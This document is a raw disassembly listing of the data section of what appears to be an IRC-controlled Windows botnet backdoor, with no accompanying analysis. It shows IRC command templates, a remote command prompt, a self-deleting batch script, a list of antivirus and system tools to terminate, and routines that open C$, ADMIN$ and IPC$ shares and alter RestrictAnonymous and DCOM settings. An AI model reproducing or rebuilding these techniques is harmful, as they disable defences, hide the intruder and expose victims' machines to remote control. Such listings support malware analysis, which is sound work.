aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
